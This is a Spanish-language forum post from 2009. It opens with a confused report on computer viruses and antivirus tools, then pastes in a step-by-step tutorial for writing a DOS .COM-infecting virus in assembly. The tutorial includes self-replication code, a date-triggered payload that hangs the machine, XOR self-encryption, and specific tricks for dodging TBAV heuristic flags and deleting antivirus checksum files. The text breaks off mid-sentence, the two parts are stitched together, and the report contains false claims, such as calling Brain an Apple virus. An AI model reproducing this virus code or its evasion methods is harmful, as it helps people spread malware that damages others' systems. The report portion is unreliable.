D

doctorfhernandez

Usuario (Colombia)

Primer post: 29 nov 2009Último post: 13 feb 2011
2
Posts
23
Puntos totales
78
Comentarios
I
informe sobre creasion de virus+como se hacen?
ArteporAnónimo11/29/2009

introduccion: en el siguiente informe se tratara de detallar sin censura todo lo relacionada con las nuevas tendencias informáticas las partes negativas de internet por ello aquí hablaremos de los archivos “ auto ejecutables” que cambian los archivos y documentos sin el permiso del usuario. y sus vacunas denominados antivirus ( nod 32, avira, mx one, karpesky, panda, eset, AVG…). Desde la creación de Bill Gates con sus sistema operativo Windows la competencia ha aumentado ahora que ha llegado Linux y por ello comenzó en nueva tendencia por sabotearse entre ellos mismos sus OS (sistema operativo) los hackers (generalmente son jóvenes con problemas sociales que utilizan los recursos informáticos y de la comunicación para sabotear y des configurar además para obtener información) desde este momento la competencia aumento dado que Linux trata de demostrar que Windows tiene fallas de seguridad comenzó una batalla por la cual existen 2 bandos uno que crea virus y El otro que los destruye pero en general constante mente en 1 día se crea y distribuyen millones de virus . Para su seguridad y comodidad hemos decido decir sin censura como son los virus y como prevenirlos. Códigos maliciosos: Se define como código malicioso a todos los archivos que modifican el registro mediante win32 (carpeta importante del sistema operativo de Windows) otros se refieren a estos como Virus o molestos archivos auto ejecutable, en la actualidad existen aprox. 13,872.000 de clases de autorun.inf Bat Cmd Exe Dll Te has preguntado como es un virus míralo pero además debes saber que el primer virus fue Brain (1986) este se propagaba atravez de disquetes infectados del sistema operativo apple al arrancar desde un disquete dañando el boot (sector de arranque) Ahora les mostrare un virus en su interior -composición de un virus de ordenador Autorun.inf open=3yalgc.exe shell\open\Command=3yalgc.exe 3yalgc.exe … KERNEL32.DLL GetModuleHandleA GlobalFree EnumDateFormatsA… Como vemos en ejemplo de este pequeño troyano (virus informático que ataca A WINDOWS y modificación del mismo.) este consta de 2 partes un archivo autoejecutable (autorun.inf es un .txt guardado como .inf documento de texto) y el otro que es el software o conosido desde su inicio como malware (3yalgc.exe un instalador se reconoce por la extensión .exe) Win32PSW.Onlinegames.odj troyano bajado de Ares3.1.30.33 Y donde se encuentra la información de lo que va ha hacer en general esto es en pocas palabras un auto instalador y un programa.los tamaños de los virus pueden variar desde 1kbyte hasta 10mbytes lo que significas que puede plagar casi a la velocidad de la luz. Como detectar si mi PC esta infectado: Síntomas: 1.0 mayor consumo de procesador 2.0 mayor consumo de RAM 3.0 no ejecuta el administrador de tareas 4.0 no ejecuta herramientas de administrador 4.0.1 no ejecuta el administrador de discos 4.0.2 no abre REGEDIT 4.0.3 no ejecuta administración de equipo No te asustes pasara lo siguiente: 1.0 el antivirus se comienza a sofocar y a mandar mensajes pequeños así que conserva la calma. 2.0 el computador comenzara a pedir ser reiniciado 3.0 se pondrá muy lento y no responderán los programas 4.0 el computador falla y por ultimo al mucho tiempo si no se elimina el virus se bloquea. Antivirus es un programa creado para prevenir o evitar la activación de los virus, así como su propagación y contagio. Cuenta además con rutinas de detención, eliminación y reconstrucción de los archivos y las áreas infectadas del sistema. Un antivirus tiene tres principales funciones y componentes: • VACUNA es un programa que instalado residente en la memoria, actúa como "filtro" de los programas que son ejecutados, abiertos para ser leídos o copiados, en tiempo real. • DETECTOR, que es el programa que examina todos los archivos existentes en el disco o a los que se les indique en una determinada ruta o PATH. Tiene instrucciones de control y reconocimiento exacto de los códigos virales que permiten capturar sus pares, debidamente registrados y en forma sumamente rápida desarman su estructura. • ELIMINADOR es el programa que una vez desactivada la estructura del virus procede a eliminarlo e inmediatamente después a reparar o reconstruir los archivos y áreas afectadas. Pues tengo para contarles que si no se tiene antivirus se puede proceder por algo que se llama el método manual cual es este simplemente se trata de explorar con un programa llamado winrar (hojala que sea la versión mas moderna ) y entonces busca y elimina con shift+suprimir Pero esto es muy complicado asi que mejor con un antivirus que es capas de Detectar y elimina virus en Visual Basic Scripts, Java Scripts, HTML, etc. bajo formatos .VBS, .EXE, .COM, .BAT, .SHS, .HTA, .HTT, .PIF, .SCR, JPG, CPL, de doble extensión, archivos ocultos, etc Detecta y elimina virus en archivos comprimidos en formato ZIP, el más empleado en la transmisión de información vía Internet, correo electrónico o entre diferentes equipos. • Conclusiones • • Desde los sitemas operativos • Windows® 95/98 • Windows® Millennium • Windows® NT Server/Workstation • Windows® 2000 Server/Professional • Windows® XP Home/Professional • MS® Exchange Server 2000/2003 • Windows® Server 2003 • Windows® Vista Beta 1-Desde estos sistema los virus nos han molestado porque aunque no tengamos en nuestros equipos si los tenemos en nuestras usb y teléfonos 2-no todo archivo que detecta el antivirus es un virus muchas veces los cracks y los txt viejos los detectan. Presentado y diseñado por Felipe Hernández 2009 todos los derechos reservados Empezaremos por contaminar archivos com, ¿que qué diferencia hay entre archivos com y exe? pues fácil, si os habéis fijado los archivos com ocupan como máximo 65 kbytes y pico. ¿qué porque es así? , pues porque los com se cargan en un único segmento de memoria. Y no me vengáis diciendo que el command.com del windows 95 tiene más porque aunque tiene extensión com es un archivo exe (es un exe camuflado je,je,je ) Los exe's utilizan un cabezera con información acerca del tamaño del archivo,la posición inicial para empezar a ejecutar el file la posición del stack y demás choradas necesárias para cargarlo en varios segmentos de memoria.El inicio de dicha cabecera es MZ ¿que porque esa marca? ,yo que sé ,yo no creé la estructura de los exe's, de alguna manera los tenían que marcar. Bueno la verdad es que lo que realmente diferencia un exe de un com es esa marca , la extensión simplemente sirve para que el DOS sepa que ejecutar primero com->exe->bat. El virus que vamos a hacer no será residente por lo que es bastante sencillo .Contamina en un único directorio por lo que además de ser sencillo tendrá una infección practicamente patética. Pero bueno es pa ke entendáis el rollo este de los com. La contaminación de los com's se puede hacer añadiendo el código del virus al principio del hoste(programa infectado) pero no es recomendable por cuestiones de rapidez, por lo que lo bonito es quitar los 3 primeros bytes del archivo (guardarlos en el código del virus) poner en su lugar un jmp virus (es decir un salto incodicional al código del virus, que lo añadimos al final del hoste).Cuando acaba la ejecución del virus los 3 bytes que habías guardado los restauramos al principio del virus y le pasamos el control al hoste. Facil noooo??? ----------------- | jmp virus | ----------------- | codigo del | | hoste | ----------------- | virus: | | contamina | | recupera los | | 3 bytes | | originales y | | jmp hoste | ----------------- Ahora que sabemos la teoría , tenemos que buscar una manera de marcar los archivos para no volverlos a contaminar infinitas veces. Como vamos a tener que poner un jmp al principio del hoste , pues este propio jmp funcioná de marca de infección. El virus infectará a los archivos que no empiecen con un jmp.El código del jmp ocupa 1 byte y la dirección a saltar con un byte ocupa 2 bytes 1 byte del jmp + 2 bytes dirección = 3 bytes (lo que pillamos del hoste) Otra cosa. Al programar un virus lo que se hace normalmente es crear un archivo contaminado, en este caso nuestro hoste contaminado contendrá un jmp start (salto al principio del virus) y la int 20h para regresar al dos. longitud equ fin-start code segment 'code' assume cs:code,ds:code,es:code org 100h ;empiezo en 100 ya que es un com hoste: jmp start ;esto es un hoste simulado int 20h ;con esto salgo al DOS start: push bp call alli ; busco la ip de inicio alli: pop bp ; para que la variables no sub bp,offset alli ; aparezcan corridas :-) Con esto lo que hacemos es definir la constante longitud como la diferencia entre dos etiquetas que hemos puesto al principio y al final del virus(obviamente) con lo que el linkador nos traducirá longitud como el tamaño del virus. El org 100h es para que el programa se carge en el offset 100h, los com's siempre se cargan en el offset 100h ya que tienen que dejar 100h bytes para que el DOS guarde información sobre el programa esos 100h bytes forman lo que se llama el PSP. En el hoste meto un jmp start con lo que este archivo estará ya marcado como infectado. Ahora viene lo gracioso, que coño hace ese call ahí.Bueno ¿por qué un call? ¿acaso los call no són para llamar a procedimientos? ¿y el procedimiento?¿no veo ninguno?¿y la famosa instrucción ret para regresar del procedimiento tampoco la veo? Respuesta: No es una llamada a un procedimiento. Es simplemente una pirula para que se puedan direccionar las variables. ¿quéeee?. Si bueno no sé si si os habéis dado cuenta que el virus se añade al final del hoste con lo que en cada hoste las variables se encontrarán en diferente offset (el offset es una dirección dentro de un segmento , y un segmento es un bloque de memoria de 65536 bytes) Las referencias a variables ( como mov ax,variable) el linkador las traduce a un numero (mov ax,056f2h por ejemplo) Por esto es por lo que hay que inventarse una pirula para hallar el verdadero offset de las variables( en busca del offset perdido). Ahora bien que os parece si sumamos a cada referencia a variable el incremento del tamaño del hoste respecto al hoste ficticio que hemos creado,que lo podríamos tener almacenado en un registro como el bp (que no es muy usado). Ahora las referencias a variables quedarían así: mov ax,bp+variable No está mal el invento pero ¿cómo coño hallamos ese incremento que sufre el offset?.Ahora es cuando utilizamos las maravillosas cualidades del comando call.El comando call no sólo salta al comienzo del procedimiento sinó que apila la dirección de regreso para que luego utilizando la instrucción ret se pueda regresar a la posición desde la que fué llamada.Pero bueno, que preciosidad de comando ,pues yo ahora hago un call findoffset y en vez de enviar el control a un procedimiento utilizo el comando pop para desapilar la dirección apilada con el call. Pero la cosa no se queda ahí, ahora le resto a esa direccion (almacenada en bp) el offset de la etiqueta findoffset ahora acabamos de obtener el desplazamiento que sufriran las variables. NOTA:Las intrucciónes offset algo el linkador las traduce por un número por lo que en cada archivo infectado 'offset findoffset' siempre será el mismo número. el offset de la etiqueta findoffset del archivo que vamos a crear. Si te fijas en el archivo que vamos a obtener el bp tomará el valor 0 esto es correcto ya que en el archivo original no se produce ningun desplazamiento,respecto a su propio tamaño ; ). push cs push cs pop ds pop es push ax push bx push cx ; APILO LOS REGISTROS push dx push di push si Con esto ds y es se quedan con el valor de cs ya que trabajamos en un único segmento. Además apilo los registros para que no se modifique su valor. Ahora viene un punto muy importante en este virus es recuperar los 3 bytes originales.Esto lo hacemos antes de la contaminación ya que la variable cab_ORIG la sobreescribiremos en el proceso de infección. cld mov cx,3d ;en cx el numero de bytes a mover mov di,100h ;muevo de ds:si ->es:di lea si,bp+cab_ORIG ;es decir de la variable cab_ORIG a 100h rep movsb Ten en cuenta que sobreescribo estos 3 bytes en memoria el archivo contaminado siempre tendra tu jmp START. ************* Quien quiera pasar de esto que lo haga ******* ************* es la activación del virus ******* Se activa el 19 de Febrero mi Cumpleaños (que original). mov ah, 02h int 21h cmp dh, 2d ;compruebo si el mes es 2 jne noactivo cmp dl, 19d ;compruebo si el dia es 19 jne noactivo mov ax,0900h ;aparece el mensaje en pantalla lea dx,bp+mensaje ;si es 19 del 2 sino se salta a noactivo int 21h hlt ;cuelgo el ordenata noactivo: ************* Final de la activaci¢n ************************* mov ah,4eh ; lea dx,bp+file_cont ; mov cx,00000000b ; BUSQUEDA DEL ARCHIVO int 21h ; con esto busco archivos que cumplan que tienen extensión com *.com . en ds:dx esta la dirección de la cadena '*.com' en ah la llamada a la función de busqueda y en cx los atributos. Es recomendable trabajar con una buena lista de interrupciones yo recomiendo personalmente la lista de Ralf Brown yo diría que sin duda es la mejor . Si la han quitado la podréis conseguir de la página de Cicatrix. Ojo a que ponemos bp+file_cont en vez de file_cont a secas. otro: mov ah,4fh int 21h jb salir ;salto si no quedan más archivos ;con extensión com mov ax, 3d00h ;abro el archivo para lectura mov dx, 009eh int 21h mov bx,ax ;guardo el handel Al encontrar un archivo con extensión com lo abro para ver si está contaminado. Ten en cuenta que la información obtenida con la funcion 4fh de la interrupción 21 (busqueda de archivo) se guarda en el DTA(disk transfer area) que forma parte del PSP (que son los 100 bytes iniciales del segmento donde se ejecuta el com). El DTA empieza en el offset 80h y tiene la siguiente estructura: offset Bytes ocupados Funci¢n 00h 21d Usado por el dos para la función 4f (buscar proximo) 15h 01d Atributos del file encontrado 16h 02d Hora del archivo 18h 02d Fecha del file 1Ah 04d Tamaño del archivo en bytes 1Eh 13d Nombre del archivo Ahora que sabemos esto para abrir un archivo encontrado con las funciones 4Eh y 4Fh sólo tenemos que poner en dx la dirección del campo Nombre de Archivo del DTA. Esta se encuentra en el offset 1Eh del DTA pero como el DTA se encuentra en el offset 80h, la dirección real será 80h+1Eh= 9Eh. mov ax,4200h ;muevo el puntero al principio mov cx,0000h mov dx,0000h int 21h mov cx,3h ;longitud a copiar lea dx,[bp+cab_Orig] ;direccion donde se copiara mov ah,3fh ;funcion de lectura int 21h En la variable cab_ORIG los 3 primeros byte del archivo . Esto es para comprobar si está infectado y si lo está de paso ya tengo los 3 bytes para poder recuperarlos luego.(ten en cuenta que a estas alturas ya hemos recuperado en memoria los 3 bytes originales del file). mov ah ,3eh ;cierro el archivo int 21h cmp byte ptr [bp+cab_ORIG],0E9h ;si empieza con un jmp je otro ;no lo contamina y busca otro Cierro el archivo y compruebo si el byte almacenado en cab_ORIG es igual a 0E9h que es el código de la intrucción jmp. Si es igual probablemente esté contaminado por lo que buscamos otro mov ax, 3d02h ;abro el archivo para r/w mov dx, 009eh int 21h mov word ptr ds:[bp+handel],ax ;guardo en handel en la variable mov bx,ax ; guardo en bx el handle del archivo Fijate bien que todas las referencias a variables se realizan sumando bp. mov cx, 2h mov si,009Ah lea di,[bp+cabecera+1] rep movsb Ahora hallamos el tamaño del archivo , lo leemos del DTA como ya hicimos con el nombre del archivo sub word ptr [bp+cabecera+1],3 Ahora resto al tamaño del archivo lo que ocupa el tamaño del jmp (3 bytes) ya que el salto comienza realmente desde la siguiente instrucción. mov ax,4200h ;muevo el puntero al principio mov cx,0000h mov dx,0000h int 21h mov ah,40h ;escribo los nuevos 3 bytes mov cx,3h ;que tendrá el archivo lea dx,bp+cabacera int 21h Que conste que la variable cabecera la ten¡a preparada con un E9h en el primer bytes(jmp) mirar la definición de variables del final Por ello lo único que he tenido que hacer es completarla metiendo la dirección hallada. mov ax,4202h ;muevo el puntero al final mov cx,0000h mov dx,0000h int 21h mov ah,40h mov cx,longitud ;en cx el número de bytes a copiar lea dx,bp+start ;pues la longitud del archivo int 21h ;que va a ser mov ah ,3eh ;cierro el archivo int 21h Completamos la infección cerrando el archivo salir: pop si ; pop di ; pop dx ; DESAPILO LOS REGISTROS pop cx ; pop bx ; pop ax ; pop bp ; mov ax,100h ;FELICIDADES YA HAS CONTAMINADO OTRO ARCHIVO jmp ax Para salir desapilamos los registros guardados y con un simple jmp al offset 100h el hoste emp ________________________________________ Bueno,bueno,bueno ... Tenemos aquí un bonito virus, ¿qué podemos hacer para mejorarlo un poco?. Pues vamos a encriptarlo. Y además lo vamos a encriptar cada vez con un valor diferente, que cogeremos de un contador que tiene el Bios (el bios cuenta el número de tics de reloj a partir de las 12). ¿qué porqué encriptamos con un valor variable?.Pues fácil, si encriptamos cada vez con un valor diferente ,la parte del virus que permanece constante con cada infección será mínima(sólo la rutina de desencriptación). Actualmente hay más sofisticadas técnicas para que se reduzca el codigo invariante del virus, se trata del POLIMORFISMO que se basa en encriptar según un número aleatorio y modificar cada vez la rutina de desencriptación. Pero basta de rollos, vamos a explicar un poco eso de la encriptación. Utilizaremos una encriptación xor ,esta encriptación tiene una cualidad muy interesante y es que la rutina de desencriptación y la de encriptación es la misma. Fijaos que si realizamos un xor a un número con el valor 5 (por ejemplo) ,obtenemos otro número diferente , pero si volvemos a aplicar la función xor con el valor 5 obtenemos el valor que teníamos al principio. Nota: La función A xor B es cierto si A es cierta y B no o si A es falsa y B cierta. Supongamos ahora que tenemos un byte del virus 11011010 y que encriptamos según el valor del timer 00100111 Valor encriptado Valor desencriptado ---------------- ------------------- 11011010 xor 00100111 = 11111101 xor 00100111 = 11011010 Tened en cuenta que a hay muchas posibilidades de encriptación pero no siempre la función de encriptado es igual a la de desencriptado como pasa con la xor, tomad algunos ejemplos: Función de encriptación Función de Desencriptación ----------------------- -------------------------- add .................................... sub sub .................................... add xor .................................... xor ror .................................... rol rol .................................... ror inc .................................... dec dec .................................... inc not .................................... not La estructura es muy simple cuando el virus toma el control llama a una rutina de desencriptación y ésta desencripta el codigo del virus( lee el byte del timer que lo tenemos almacenado en una variable dentro del codigo y con ese valor pasamos la función xor a cada byte del virus). ------------------ | jmp virus | ------------------ | codigo del | | hoste | ------------------ | virus: | | Rutina de | | desencriptación| ------------------- | virus | | encriptado | ------------------- Pero que coño pasa , aquí hay un problema.¿cómo vamos a dar el control a una rutina de desencriptación si no tenemos el virus encriptado todavía?.Aquí viene lo divertido del asunto. En el archivo que vamos a crear, no haremos un jmp START como hicimos en el ejemplo anterior haremos jmp Encryptor, siendo Encryptor una etiqueta que indica el comienzo a una rutina de encriptación que colocaré al final del virus. Fijate bien que la coloco después de la etiqueta 'fin'. Esto és porque la rutina sólo tiene que funcionar en el archivo que creamos nosotros(ya que no tiene todavía el codigo encriptado) ,de este modo esa rutina no se copiará en las sucesivas infecciones. El metodo de infección es ligeramente diferente, ya que hemos de encriptar primero el virus y luego añadirlo al archivo. Por ello copio el codigo del virus textualmente al final del propio virus ,all¡ lo encripto y de all¡ lo llevo al final del archivo. Atención a las modificaciones del virus anterior... longitud equ fin-start zona_encrypt equ offset zona_end-offset zona_start comienzo equ offset zona_start-offset start Hallado la constante zona_encrypt para definir la cantidad de bytes a encryptar(que no es igual a la longitud del virus, porque la rutina de desencriptación obviamente no se encripta). La variable comienzo la utilizo para direccionar la zona a encriptar cuando muevo el virus para encriptarlo. code segment 'code' assume cs:code,ds:code,es:code org 100h ;empiezo en 100 hoste: jmp encryptor ;esto es un hoste simulado int 20h ;con esto salgo al DOS Fijaos que en vez de saltar a Start salto a encryptor para encriptar el código del virus antes de pasar el control a la rutina de desencriptación start: push bp call alli ; busco la ip de inicio alli: pop bp ; para que la variables no sub bp,offset alli ; aparezcan corridas :-) push cs push cs pop ds pop es push ax ; push bx ; push cx ; APILO LOS REGISTROS push dx ; push di ; push si ; *********** Rutina de desencriptación ********************** Tened en cuenta que hemos de hallar en bp el desplazamiento antes de la rutina de desencriptación , ya que esta rutina si que se ejecuta en cada archivo contaminado. mov cx,zona_encrypt ;en cx el numero de bytes xor di,di ;a encriptar mov ax,byte ptr mas: xor byte ptr [zona_start+di],ax inc di dec cx je mas No voy a explicar la rutina ya que es la misma que la rutina de encriptación ************ antención que aqu¡ empieza la zona encriptada ******* zona_start: cld mov cx,3d ;en cx el numero de bytes a mover mov di,100h ;muevo de ds:si ->es:di lea si,bp+cab_ORIG ;es decir de la variable cab_ORIG a 100h rep movsb mov ah, 02h int 21h cmp dh, 2d ;compruebo si el més es 2 jne noactivo cmp dl, 19d ;compruebo si el día es 19 jne noactivo mov ax,0900h ;aparece el mensaje en pantalla lea dx,bp+mensaje ;si es 19 del 2 sino se salta a noactivo int 21h hlt ;cuelgo el ordenata noactivo: mov ah,4eh ; lea dx,bp+file_cont ; mov cx,00000000b ; BUSQUEDA DEL ARCHIVO int 21h ; otro: mov ah,4fh int 21h jb salir ;salto si no quedan más archivos ;con extensión com mov ax, 3d00h ;abro el archivo para lectura mov dx, 009eh int 21h mov bx,ax ;guardo el handel mov ax,4200h ;muevo el puntero al principio mov cx,0000h mov dx,0000h int 21h mov cx,3h ;longitud a copiar lea dx,[bp+cab_Orig] ;dirección donde se copiará mov ah,3fh ;función de lectura int 21h mov ah ,3eh ;cierro el archivo int 21h cmp byte ptr [bp+cab_ORIG],0E9h ;si empieza con un jmp je otro ;no lo contamina y busca otro mov ax, 3d02h ;abro el archivo para r/w mov dx, 009eh int 21h mov word ptr ds:[bp+handel],ax ;guardo en handel en la variable mov bx,ax ; guardo en bx el handle del archivo mov cx, 2h mov si,009Ah lea di,[bp+cabecera+1] rep movsb sub word ptr [bp+cabecera+1],3 mov ax,4200h ;muevo el puntero al principio mov cx,0000h mov dx,0000h int 21h mov ah,40h ;escribo los nuevos 3 bytes mov cx,3h ;que tendrá el archivo lea dx,bp+cabacera int 21h Ahora que he escrito la nueva cabecera he de mover el código del virus y encriptarlo antes de ejecutar la int 21 función 40 para copiar el virus al final. xor ax,ax int 1Ah mov al,dl ;sólo leo el valor menos mov byte ptr [bp+valor],al ;significativo ya que sólo ;necesito un byte Aquí obtengo el valor del timer con la int 1ah y lo guardo en la variable valor para que lo pueda utilizar luego la rutina de desencriptado. cld lea si,bp+start ;copio el virus a otra parte lea di,bp+Encrypt_buf ;para encriptarlo mov cx,longitud ;ds:si -> es:di rep movsb mov cx,zona_encrypt ;en cx el numero de bytes xor di,di ;a encriptar mov ax,byte ptr otro_byte: xor byte ptr [bp+Encrypt_buf+comienzo+di],ax inc di dec cx je otro_byte Con esto encripto el virus (que lo he movido a Encrypt_buf) mov ax,4202h ;muevo el puntero al final mov cx,0000h mov dx,0000h int 21h mov ah,40h mov cx,longitud ;en cx el número de bytes a copiar lea dx,bp+Encrypt_buf ;pues la longitud del archivo int 21h ;que va a ser Fijate aqu¡ que no empiezo a copiar en Start sino en Encrypt_buf donde está el virus con su zona correspondiente encriptada mov ah ,3eh ;cierro el archivo int 21h salir: pop si ; pop di ; pop dx ; DESAPILO LOS REGISTROS pop cx ; pop bx ; pop ax ; pop bp ; mov ax,100h ;FELICIDADES YA HAS CONTAMINADO OTRO ARCHIVO jmp ax cab_ORIG db 090h,090h,090h cabecera db 0e9h,00h,00h handel dw 0 file_cont db '*.com',0 Mensaje db 'Ooooooohhhh!!! El virus ejemplo del web de',0ah,0dh db 'Nigromante se ha activado.....',0ah,0dh db ' ..... para desactivarlo consulten con',0ah,0dh db ' nEUrOtIc cpU.',0ah,0dh zona_end: ************ antención que acaba la zona encriptada ******* valor db 5h encrypt_buf db 0 ;a part¡r de aquí escribo el código ;del virus para encriptarlo fin label near Ojo , a que la variable valor tiene que estar fuera de la zona encriptada, si estuviera dentro como coño podrías desencriptar luego el codigo.je,je,je. Encryptor: push di ;apilo los registros utilizados push cx ;por la rutina de desencriptación push ax push cs pop ds mov cx,zona_encrypt ;en cx el numero de bytes xor di,di ;a encriptar mov ax,byte ptr mas: xor byte ptr [zona_start+di],ax inc di dec cx je mas Fijate que no necesito en esta rutina sumar a las variables bp ya que esta rutina sólo se ejecutará en este archivo y no se va a copiar en las demás infecciones. En ax leo el contenido de la variable Valor(el valor del timer) que en este archivo le he dado un 5h por poner algo. Y con ese valor aplico la función xor a cada byte de la zona encryptada. pop ax ;desapilo los registros utilizados pop cx pop di jmp start Ahora si que salto a Start ,ya el virus está como toca, rutina de desencriptación+codigo encriptado. code ends end start Otra ventaja de la encriptación es que si habres el ejecutable con un editor de texto (aunque para qué coño vas a querer abrirlo con un editor de texto) ya no se verá el mensaje del virus.Lo que delataría claramente que el archivo está infectado. Con esto finalizo la clase de encriptación , Para compilarlo simplemente hay que poner las instrucciones en un mismo archivo(no se compilará con mis comentarios por ah¡ je,je,je ). Y escribir tasm archivo.asm tlink /T archivo.asm Bueno hasta el siguiente numero Afectuosamente Nigromante by nEUrOtIc cpU. NOTA: No lo he compilado así que si hay errores los buscais. Si hay alguna duda me escribis, fale?. ________________________________________ Bueno ,he estado evitando hasta ahora hablar de heurística, pero supongo que és inevitable. La busqueda heurística es un método utilizado por lo antivirus y consiste en buscar trozos muy utilizados en los virus. Por ejemplo la busqueda del desplazamiento de las variables (o delta offset o beta offset como dirían algunos programadores de virus).Ese trozo es muy común en los virus y en cambio ningún programa (normalmente) lo utiliza (¿qué programa necesita buscar un desplazamiento de variables si no se va a cambiar de offset?). En nuestro programita saltarían por ejemplo el flag de encriptación (flag # en el tbav) ,el flag de busqueda de ejecutables(porque buscamos archivos com, eso quieras o no es bastante sospechoso) ,el flag de busqueda del delta offset (flag E en el tbav) y el flag de regreso al hoste (salta cuando damos el control al hoste saltando al offset 100h,flag B en el tbav) Lista de flags del tbav ----------------------- E Flexible Entry-point. The code seems to be designed to be linked on any location within an executable file. Common for viruses. J Suspicious jump construct. Entry point via chained or indirect jumps. This is unusual for normal software but common for viruses. B Back to entry point. Contains code to re-start the program after modifications at the entry-point are made. Very usual for viruses. M Memory resident code. The program might stay resident in memory. c No checksum / recovery information (Anti-Vir.Dat) available. C The checksum data does not match! File has been changed! T Incorrect timestamp. Some viruses use this to mark infected files. Z EXE/COM determination. The program tries to check whether a file is a COM or EXE file. Viruses need to do this to infect a program. @ Encountered instructions which are not likely to be generated by an assembler, but by some code generator like a polymorphic virus. G Garbage instructions. Contains code that seems to have no purpose other than encryption or avoiding recognition by virus scanners. U Undocumented interrupt/DOS call. The program might be just tricky but can also be a virus using a non-standard way to detect itself. K Unusual stack. The program has a suspicious stack or an odd stack. 1 Found instructions which require a 80186 processor or above. R Relocator. Program code will be relocated in a suspicious way. L The program traps the loading of software. Might be a virus that intercepts program load to infect the software. w The program contains a MS-Windows or OS/2 exe-header. F Suspicious file access. Might be able to infect a file. S Contains a routine to search for executable (.COM or .EXE) files. # Found a code decryption routine or debugger trap. This is common for viruses but also for some copy-protected software. D Disk write access. The program writes to disk without using DOS. ? Inconsistent exe-header. Might be a virus but can also be a bug. N Wrong name extension. Extension conflicts with program structure. Si os fijáis algunos de los flags son una chorada (ojo al flag w) Pero tranquilos ,en esta vida todo tiene solución en primer lugar prodríamos sustituir la tipica rutina ... call find_offset find_offset: pop bp sub bp,offset find_offset ... por una rutina en la que leamos directamente de la pila call find_offset find_offset: mov si,sp mov bp,word ptr ss: sub bp,offset find_offset add sp,2 ;adiós flag E Fijate que los datos en la pila se almacenan decrecientemente, con lo que el último elemento está en la posición de memoria más baja. El último elemento de la pila lo apunta el par de registros ss:sp No podemos direccionar la memoria con el registro sp por lo que primero pasamos el valor de sp a si (mov si,sp) después leemos el valor apuntado por si y lo llevamos a bp(ésta és la dirección apilada con el call) Y bueno realizamos el sub y ojo a esta parte sumamos 2 al registro sp ya que hemos desapilado una palabra de la pila y ahora el último elemento de la pila está dos posiciones hacia arriba. Esta rutina sirve pero ten en cuenta que el call find_offset no puede ser el primer comando del virus (sino la heurística saltaría). Antes del call find_offset podrías poner ... push cs push cs pop ds pop es ....ya que de todas formas lo tendrías que poner. No tengas tentaciones de poner instrucciones inútiles antes del call como mov cx,cx xchg ax,ax Entonces no saltaría el flag del delta offset sinó el flag de garbage instruccion (instrucciones basura) ¿qué porqué salta la heurística con instrucciones inútiles? Pues porque un programa normal no suele utilizarlas , no són instrucciones que un compilador genere. En cambio los virus las utilizan para modificar la rutina de desencriptación en virus Polimórficos. Así que evita utilizarlas. Ahora que hemos evitado el flag E vamos a anular el flag B (back to entry point, regreso al punto de entrada).Salta cuando damos el control al com después de la ejecución del virus. Es decir si utilizamos .... mov ax,100h jmp ax pero esto tiene una solución también drástica,(no utilizaremos un mov) push 100h ;apilamos el valor 100h en la pila pop ax ;desapilamos ese valor en el registro ax jmp ax ;saltamos a la dirección 100h Si, si, sé lo que estáis pensando.Pero se vé que a los creadores de antivirus no se les ocurrió :> Je,Je hemos aniquilado otro flag. Vamos a por el siguiente. ¿Qué tal el flag de encriptación?. La verdad es que éste me costo un poquito. Leí por algún sitio que poniendo después de la rutina de desencriptación un comando de salida al DOS se quitaba,con lo que el programa antivirus se pensaba que la zona encriptada eran datos del programa Algo así :> mov cx,zona_encrypt ;en cx el numero de bytes xor di,di ;a encriptar mov ax,byte ptr mas: xor byte ptr [zona_start+di],ax inc di dec cx je mas jmp sigue ;salto para ejecutar el virus ;ya desencriptado mov ax,4c00h ;para salir al DOS pero int 21h ;nunca llega a ejecutarse sigue: ***************** aquí empieza el código encriptado ********** zona_start: cld mov cx,3d mov di,100h lea si,bp+cab_ORIG rep movsb . . . La verdad es que es una idea ingeniosa ,pero no me funcionó. Así que al final conseguí evitar el dichoso flag encriptando y desencriptando el virus (parece paradógico ,evitar el flag de encriptación con una rutina de encriptación juajuajuajua) Encripto y desencripto con una función xor y utilizando un valor fijo. Estas dos rutinas las ejecuto antes de llegar a la verdadera rutina.Y estarán en cada archivo. La estructura del com quedaría así: Busqueda del delta offset Encripto el virus con un valor fijo Desencripto el virus con el mismo valor Desencripto el virus con un valor variable que se encuentra almacenado en el codigo. Codigo del virus encriptado aquí Podéis revisar el Tarazona_Killer en la zona de virus comentados que está en esta web (si tenéis más dudas). Otro menos, esto va disminuyendo.Vamos ahora a por el flag S Que salta con las rutinas de busqueda de archivos ejecutables (exe,com). También hay una fácil solución.En vez de buscar archivos *.com buscar archivos que cumplan *.c?m . Y después verificar si el caracter del medio es una o. Fácil.El flag Z tiene una solución parecida. El flag z salta con rutinas de verificación si un archivo es com o exe (es decir comprobando si los 2 primeros bytes son MZ). Por ejemplo saltaría con rutinas como: cmp word ptr [cab_ORIG],'ZM' jne contamina_com jmp salir contamina_com: NOTA: Fíjate que para verificar si los 2 primeros bytes son MZ comparamos con la cadena ZM ya que el bytes menos significativo se carga más hacia la derecha y el menos significativo a la izquierda. Para evitar el flag leemos primero un byte y luego otro cmp byte ptr [cab_ORIG].'M' jne contamina_com cmp byte ptr [cab_ORIG+1],'Z' jne contamina_com jmp salir contamina_com: Bueno a estas alturas sólo saltaría el flag c C The checksum data does not match! File has been changed! El Tbav crea un archivo en cada directorio con infomación sobre los archivos ejecutables que hay en él. Gracias a este archivo el Tbav sabe si un archivo a aumentado de tamaño o qué, (bueno no suelen engordar así por así los ejecutables por lo que si uno crece de tamaño lo más normal es que tenga un virus :> ) La manera de evitar este flag es borrar el archivito con lo que de paso puedes borrar otros archivos de verificación de otros antivirus como el chklist.ms etc. ¿qué cómo los borras? pues coño pa eso tienes la lista de interrupciones int 21 en AH->41h y en DSX->asciz file Olvidémonos un poco de los flags y de la heurística ,por lo menos hasta que llegemos a la residencia ;>. Y vamos a deperurar un poco más el programilla. Piensa por un momente lo que pasaría si alguien copia nuestro virus a un diskette ,luego lo protege contra escritura y después ejecuta el virus. Pues aparecería en pantalla un horroroso mensaje de Fallo de escritura en unidad A Anular, Reintentar, Ignorar? Incluso a veces aparece en pantalla error en int 24 :> Y vosotros no queréis que eso pase ,porque delataría a nuestro pequeño virus. Pues bueno como todo en esta vida tiene una solución. La interrupción 24 es la que gestiona los errores críticos. Entre ellos está la lectura en diskettes defectuosos, la escritura en diskettes protegidos contra escritura etc. Las interrupciones són procedimientos que se ejecutan cuando se produce algún evento en el sistema ya sea apretar una tecla ,mover el ratón, o que aparezca un error crítico. El DOS crea a partir de la dirección de memoria 0000:0000 una tabla que indica la dirección de inicio de cada 